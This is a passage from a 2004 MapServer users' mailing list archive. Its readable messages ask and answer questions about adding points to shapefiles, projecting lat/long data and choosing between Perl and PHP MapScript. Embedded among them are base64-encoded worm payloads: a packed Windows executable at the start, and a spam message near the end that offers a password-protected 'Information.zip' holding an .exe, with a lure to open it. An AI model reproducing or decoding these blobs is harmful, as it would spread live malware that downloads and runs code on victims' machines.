WDBntjWjMZ973ecdKrQV0rgk3pvAEiVuBpvHo+uDbDdTroQSaMbHytSVNNaZa/cNd9RB0stc 9y8riNKb0pPT0yeUcB9dsLNYlU+ABge527atBJGzvFGoq57e5Oy9nYzL1g9OD8jZBjNwu4pa Ick3mYKrqxY04p+QSrScK0eJXhXnyAgtIjjdTZXv8DosFYnPQCresjtqL3+U2tJIGYsW7sMq i4+TzLhitb9sb9YEA5bGsq63tsQVgTfovAe/u77jtr/EYH+z3Qfar4qec8bVFSauu8C/VQ/A u6o6rsfas77H2FiLBuyr2NoStGgTbAWWgAG+fAqUXvuwQlsNqa6jRxLe25orCBQxqjIQBtC9 1gw/CRS1Of1nLuCirosYt7uis7ezoAw07FZUrq4sQBq0wMgTzLUyRr23iyC4u3cS5Gj2F7Vw yrS5vxMVc5e1TVusk4EVAtdKeA0+OlsJOgedK5eBA4Al2v5tu9X4qbmos6zaQTtjt1C2vR6s uNDYHZD+Qbq3g7wMi5yW1IyYiQr3Bkh6vKm1Bq41O8mYjYz+ZvwKqT12J9SNsnbBwm7tNurc 2qaJlpxGxtYGUtbKFJFCg6QQNtgt7EJZG2Tm51AKYYOwA0qsEbbKGDkt2LJCWBtCIBE2sEJX IgphIaxsLlmsUPaBSZbNCBtkA4AbHCFsQdbVTKwyAljqXoQEQgkAAZYQSGFUF3WBQApbLy1t lzSwIpm0xZIaLuTM7xK8vlOths1i1JFlIA1OoJWSImfBqVnuYUMp1KirSaCAaSFkytIte80q 8HmIhpCmH4UIPMSNqRsD0iHwgrXTIBYr0r4QiMDV4/f6+7nWaKelXd1uPu7kbdWg/ZOfjZ+I CDank7VGa82jE1fRxo4RC40jP/q/9unbg2/tZOG3k2ZwlZyOpinaVrQHprmPIgmsRWpWriGX psJJbSboxlPUlfqzBIBambe3nfrXE5KOm3mY5CmMXMBjurPWGoaOFpROPjGK/0YFuqvPsJj4 +f7//P3y0oKpUmDHh9/lMJesuSLxDXENOQdhHpWIna8Gt/3CVpe2vKi1t8DGGsQXGtbAwLne Sw7DPril0LsGK7qX7a7eHqX6/PuWnNeJQRi5RGvTbiT6j/oWojlYT4PpG0iJKxTK0QXyBucr 9Aa5ln4d7Z7XmYrW4BoMG+SKBextqGbuBY6egwc8B6VCYZGCH3B7ZqA2Wfp0iWAAItsWLLR7 p/qrgmOJiuZu0J76IY+CBV3QxqBm33BomS4b5Fq7d5KVtFwEvJtU26VogCLXmyG6B8eXwLbw lpuY+jaJa80ZbpWVnd4Nq80c3VozcJeKLH/CUvqKa61trTvXVpu/C5QamrttWxCdMLpHitSs UtaCRtspg3wt9KYY2tbcleaiiJe9plzdwje1pvrQ1NDdjWnUopt1nBfxl4mdAIkFBM2YefuC l5YenpiCBJ6fXN42fxOUmZKXnDyVnomZnFw7xMEYeQQhsV/BFXYhJ16YmFS79sF1TpYrMNSP zzWdk21u7HNEGJ5ykEDIkhqGJ8Pnvdq1nDHjtGDaCqLJna6RLEbDtmqt25Hj27gptfchtBGi qtYLBrniJ4cvjdqxn4MTNsyl7DVfLSY1rdAObC2qGU8RFMqttYkLBAqblnhopVcuVdqZCpZI FV2XXbfb2yraN59onQy0/pvTWGWLeIeOe4loJbxtMrSTHQcyjpGDrFUxCp462Be20NpZRYqY DgySGMNirYlKggA65Rkd8aipCFza3Tk4ZqLqIbuSDytgW2vvV0HNMrBLhdx2tpXdklnpgptc rGJrDSWR7YKi7azbDsIxjcOiANrsKcrmHVyIG4lHwZbdOLt+2swpEdGECe7P2qpsMD7ots2C lo98mEeqkqCtrRkPBC3DsI8aLLQTaLcjGIKUZaqFDniMS4862G5NrT6kMZLgj5gPjgoNYubs RHZSqH071jsM+p4A3dbd2gXGrebWZQDag9pDssCP2Da20sA+Cd8qkwPIDlzd1lsKvoTAWT/M atC2lQfYCC89AZcwU4EQbvQtddLZLLeG1zvA2KhR7B4gy5PXVo5aEDwVjFfWum8tXgLXroOK ZZfVsO3W6qIp1RuknsEfVqhWsNoAPwQYmgu20YOS1wB3Hkb2hrm8DxFPhsamh0bVF5bBaY7R ajQTbD8fJgABa7RQkx0seMUGLcqJ9ddqUlnh5sA5zZg4XgbaodYRV4BUeOztIHuPUZh1n8zO IiK0WLGdZQt0VGsUY06hZcEmLLAYi1VLUWAq+xTEm5tO1hpfqwO4XtXVGBeELTvQiS2xsGBv EBKV+gSe4M99bQMR1BkDxpiI78GH934JncTGHhHZa7ESxgkGFuRopa3Sxj5QiahdxGAnXLSe wBLEQKrs2KHLy3Oeigza1wkNY7M3Fg0AqBK3Lr4JtIlI0g2yhGrs0rGVCaObU5XbCq4Bayw1 /3mDbA5Bh9luVMDTDb9N2jGrxoJeHr4ZA3uZMLiE+B1bcshkFLe/jINDw94QHFzY7iDEWpkG t/q5fj1cDV45iy7BVqhC6Q2lBjBqarVkT7ybgkR2zy0WVOjqngFtCaOVuWWRaxXaHp01msER e6kaHKUIw2Ui/w6MDfuWdIoynuwA2nN1NjubBRDUfgTuZwNXseKTjIKeBEMbVpiTdiq2tFos unLaV21y4IJsdJGJToll2CFsD5iTEIrCirOGW9Zw1I2fFyMZ1AawQWuKBguwQ10OifBwIQB2 GUfXbLoFtmyDM6+JpDQ6eGSANzWXmSmbsA+Y1EW7mJMto2GPrV+chPACCEu2I/dKrh2ziCv5 lkIcnAJCnh4IxuSeodeiGy0acwA77NE3jcKGwGUhETYbu+szfiILhC0sWNIDmNRmgmIPDDVx vseTUimKHJCMpeIOqeuW1N3fMfr8pTcxE4cNNrffHKGwcEjjozGlHCFcWWhgpU6NVKUzlNxb lLK5nKW2/9IFGHAdx44XjFNta7H5+k8TiSEVmupOWINfu5YspV6eXCXcrk6wlSl8HINobqYC X4mllJw1TN2cf2aPnIABbQStnXqbB8WPk2uO3NcdnhGIRO+sxWzfs5gOa6mXU7OGn0wwNHyE pQ+l6x7WMtVaJN3eLII2WHCOgowLjE2Tu20xi0CKkIGOrj5zYJislCGJIBfkcnNvREi7mZbV Ho+K3KG2TawYjxckMoxdzBVSuT5ojqm8X7WKEEMX/ZanWsBgaKjvaETBHLmp9F45tdoihaQ3 knCobbHKp3datAIfbIP4jqonlza3j6KCrQPxbwGuv7Sjsam+cVYbtRjNu4m802jJqf8dtEZI FOv63b7diN2V3Yrv/oV2AZ/dKqndkd2D3bQLjt36pU2z/fbXlbWbSYbX0anRA5GDtP3b0jSf joZlsbWV16X6oTHiUs5PiKaApx0/a3C0iYNqRZdpsJGWqc3SNVOXUgDXxK8/Y6+ZxgoRaaep 15Hc+Rb614PXtNdQjl2h0KqR4Y71rPqg0ouAo7DUhe25ga5Sg8BvPvrDorKO7voYakNbSHGK D6bavNWE1jZTjQcIXD3WGMz6B64nUrO5q2CjW9a2+kMNvjawh21srWopyJX6QaklF6GrjGmJ vuAO3VIDVzMzioNDqjVHzQBaB4xUZI4KsFm03JqLYSxJvWW7JfoRzxE4OonIRoMKMAq+2oT6 cwFZjIpcIgAJRQILJYkD/5fLqTQBVFABR2V0TW9kdWxl2BYAy0ZpToNBE1gLgP9Qcm9jQWRk cpAP/+y3/1N5c3RlbURpEGN0b3J5JFRpY2tDb+zbFux1bnQNPEYbbWF0QQ9jbeyfWm9uZUlu ZhVpCxdXbf+E/WluZG93c0tsb2JhbEFsBmP3v22HDEYdZQtMb2FkTGlicmEmz2LJug1jJQsk TWG7Nff+cFZpZXdPZsIOzGtCea7vW/t2VG9qZGVDaDwUT3BlbtNr28FizwgzMjBy1g/N2u4B TmV4DlJldEohgN3NrWdnaWlEcoJrW/d2U3QFbmdziVMYRcVxtd3PDQ0IQXQfYnV4da39giET UG8xEIBT2iGCuwtlcAZHGp1t27b3HwkVVCFtJ2EZ4Rf2ZKJVbm3VV2FpdF3mDG+uU4AOT2Jq OxTf7S9ZC0v0FG5FeB7hdrZ0MnJlPWx1cmOYyx722QltcGkKcHkJLvZasG4KMQn8+jDbZmei R89/egzhCx+PEFR5cC9DkXNlSGEQDwz3XmobyQlDddjBCoVyqAbcSWQU17rPAhJvbW1FTMBV BHsHx0YnkHYOm3sDO68PeHLuafgP22VHQ1Vh+29saGVscG6yX1jTU1dwc2hvdBloBhu24bBk DU2ueEENWpcwQ8dNcGQTDNpCssJvHwo/YRuabO0SvlJoS3PmbqdZWkEIFmdEGRTM4d7CVkR1 OBAWDWz2ZG9FdCBLZXkOcmZzb9kO3w1UTpijnZ0gIULwHw3Jbk1vkF9iSkRDttmbHUptfV8W CeFjO4w5Rllv5GywjW2CO0lQgyZ27xizWWtRXA4vz7h2w9xsCD7GQms329YMZ/xUpYNRcqdY 30xJNjRRMQZtT25I21qHSdQ7DmppCuFpNkdH1WIAU6s0W8OjbLVCQUVuQPbYG+4/33JJQQlE dXAI2cZgbgISVIVtCfWn6dxSJzl6WFVSTESmm+S6ZW5sQGkchWg2bZ1gfXDJdGZNHTss7DRh Z1BvkP9za20ZZm2VcKQ1eneVGk/u3hxoVRuqHE9P00mQeEndbrrsa9mSAhR0QQ6MgJUuVVwR 8zZD23BublJlZMMvWZy5tu5pjGkfX7xkO0FAo7GedMD4VZidzCEMYnkOSHnpa8BQWGOAcwNr ZXS/yltuYr1yYWNjJVNBgdccd1xydHUwIxl5NvtmrnYyehRsBz75L8dgzVBFTAEEAMwPkECe NP8P4AAPAQsBBQwARFZIUPsMBwLfWA1AC24WbDkCBDMHDMDO3JLQHjQQB7O8JN4GT9Bh3F0g kMvAoAOnxPuarrABHi7DdOtCkHcX9gXrBCMgHi5yZHSD7Qqvo0YL+wwnSNli3YVAAi4mR3Vt SprucCc6VMBPBhtsgXOCAOvAc47Av9/KJxtwZA0hxgAAAAAAAAAAIAH/AABgviWgQACNvttv //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAQ0IrEmxKqgB1eMVH li4Gx2kUa4rCIsGOW52prCxeHWhfxJ0jqANSm4OkCmg2tZMov6d/SwKLpJszeqI/ho9DkYQj pYWXqBuht3Riky+YhDNsai66ch8jaZIqmzJgT4CGb5wjuqMfWFR9acESQIOekK1yuLxDLFm3 ThR5lGMZYU8LxxACCZ0bqyJ3m0Vwrj6aokWbWh1QAw/CksG6HZ5Aaii+ ----------pnlybsafaazejqwnxjwf-- From v0463 at n-koei.co.jp Thu Jun 3 22:05:07 2004 From: v0463 at n-koei.co.jp (No dream more) Date: Fri, 4 Jun 2004 12:05:07 +0700 Subject: [Mapserver-users] Does anyone success add point persistent to shape? Message-ID: <001701c449f1$829efce0$dca110ac@lamle> Dear list, I am customizing the interface from mapserver workshop to implementing a function to add point to map. But I got some problem: - If I create a new layer then I open layer for adding a point. The error always is "msSHPOpenFile(): No (NULL) filename provided". $newLyr = new_msLayerObj($mapObj); if($newLyr->open()==MS_SUCCESS){ ////// -> msSHPOpenFile(): No (NULL) filename provided } - I can add a point to existing layer but I can add only one point. This point cannot be save to shape file. //$newLyr = new_msLayerObj($mapObj); $newLyr = $mapObj->getLayerByName("test_point"); $newPoint = ms_newPointObj(); $newPoint->setXY($x, $y); $newLine = ms_newLineObj(); $newLine.add($newPoint); $newShp = ms_newShapeObj(MS_SHAPE_POINT); $newShp->add($newLine); $imgObj = $mapObj->draw(); (If this call, the point can draw) //$imgObj = $mapObj->prepareImage(); (If this call, I got only a blank screen) $newLyr->draw($imgObj); $imgObj->saveImage(""); Does anyone success add point persistent to shape? Thank. Le Ngoc Lam From siki at agt.bme.hu Fri Jun 4 01:26:18 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 4 Jun 2004 07:26:18 -0100 (GMT+1) Subject: [Mapserver-users] Displaying Lat/Long points onto State Plane projected map {Scanned} {Scanned} In-Reply-To: <200406032245.i53Mjh1S015918@mail.cwo.com> Message-ID: Hi, Hm it is off topic, but ArcView can convert dbase tables with x,y coordinates to a point shape. In ArcView 3.x it is called Create Event Layer (or something similar). Bye Zoltan On Thu, 3 Jun 2004, Maggie Ma wrote: > Thanks for responding, Zak. I forgot to mention that I am not using > Mapserver. I'm using ArcGIS. Any idea how I shall do it in ArcView? > Thanks! > > Maggie > > -----Original Message----- > From: Zak James [mailto:zjames at dmsolutions.ca] > Sent: Thursday, June 03, 2004 3:38 PM > To: Maggie Ma > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Displaying Lat/Long points onto State Plane > projected map > > The easiest thing might be to use PHP and PHP/Mapscript to open the dbf > file using php's dbase support and then create a shapefile of points > using mapscript commands. Then mapserver can load the shapefile data. > > zak > -- > Zak James > Applications and Software Development > DM Solutions Group Inc. > http://www.dmsolutions.ca > > > On Jun 3, 2004, at 6:05 PM, Maggie Ma wrote: > > > Hello, > > > > > > > > I am trying to display some lat/long points, stored in a dbf file, > > onto an > > existing > > > > map which was projected to State Plane NAD83 FIPS 4601 in FT. Is there > > anyone > > > > who would give me some detailed instruction on how to do it? Or at > > least > > some > > > > idea? Thank you very much in advance! > > > > > > > > Maggie > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From alexanderlimkh at yahoo.com Thu Jun 3 22:44:22 2004 From: alexanderlimkh at yahoo.com (Alexander Lim) Date: Thu, 3 Jun 2004 22:44:22 -0700 (PDT) Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript Message-ID: <20040604054422.48219.qmail@web60809.mail.yahoo.com> Hi all, I just getting started and realised that we can make use of Perl/MapScript and PHP/Mapscript, but i would like to know what's the differences and which one is "better" to use. And which one is more popular and more people are using it (This is for getting help from this list when i face some problem down the line). Does the two perform and is doing the same thing at all? which one should i adopt in terms of flexibility and features. please advice. thanks alex __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From TMitchell at lignum.com Fri Jun 4 00:28:00 2004 From: TMitchell at lignum.com (TMitchell) Date: Fri, 04 Jun 2004 01:28:00 -0600 Subject: [Mapserver-users] Re: Msg reply Message-ID: ----------nvzagdnazrigfuxivitm Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Note: Use password to open archive.

----------nvzagdnazrigfuxivitm Content-Type: image/gif; name="pxmaoappau.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="pxmaoappau.gif" Content-ID: R0lGODlhPwARAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A /wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAA/ABEAAAj/AP8JHEiwoMGD CBMqXMiwocOHECNKnAjRFRlX/gT6c4VoGsFaiGptK5jN40B/ZLBRVJgNEUqP28hk24Yom8Bs r/7VHJjNok2NihBpW8kQEZl/tI7+uyhwJxlETRElQjRSIC1ELokq9BdyKVSdR7WRGWlU479X X/9pc5U0o9aDFnOC/YcS6rSsWAk+FYiPDNe0bw1SG/tvml9tiHKSORrT5D+achXRolkrcEJE swROg9Sycl7EP9V2/DdYLRnHlgkibkWw5dC9LQneHTrLKCJHKVMLrHWUmtB/FjdW/gcSqa2P WQcadqsbKSLOArXNkknwamiBrZQOnN68u/eBT7EaEw1PXrxtrIvLi1+c97v79/ALBgQAO/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f9drICvab/9/s18gK/x312sgK41L /38gKyAr/3/8dyArsVv/f/9//3/8dyArj1P/f/57aUONS/17ICuPU/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f49T ICuPU/17/38gKyAr/3/9eyArICv/f7FbICv8d/57ICsgK/9//3//f/9/ICsgK/9//3/bcyAr 2G8gKyAr/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3/YbyArsVv/fyArICv/f/9/ICsgK/9/12sgK9pv/38gKyAr /3//f/x3/3+NSyAr/Xv/f/9/tmdpQ41LICv8d/9//3//f/9//3//f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ICsgK/9/j1MgK/57 /38gK41L/3/+eyArtmf/fyArICv/f/9/ICsgK2lDICvbc/9//3//f49TICsgK9pv/3//f/9/ /3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3+0YyAr/XsgK49T/3/bcyAr12v8dyArtGP/f/9/tGONS/17ICuzX/9//3/9e7ZnaUMgK9dr /3//f/9//XtpQyAr12v/f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/17j1MgK41L/Xv/f/9/2m+NSyArsVv/f/9//3//f7Rj ICuxW/57/3//f/9//3//f7NfsVv/f/9//3//f9pvICuxW/9//3//f/9//3//f/9//3//f/9/ /3//f/9//38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//38AAA== ----------nvzagdnazrigfuxivitm Content-Type: application/octet-stream; name="Information.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Information.zip" 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 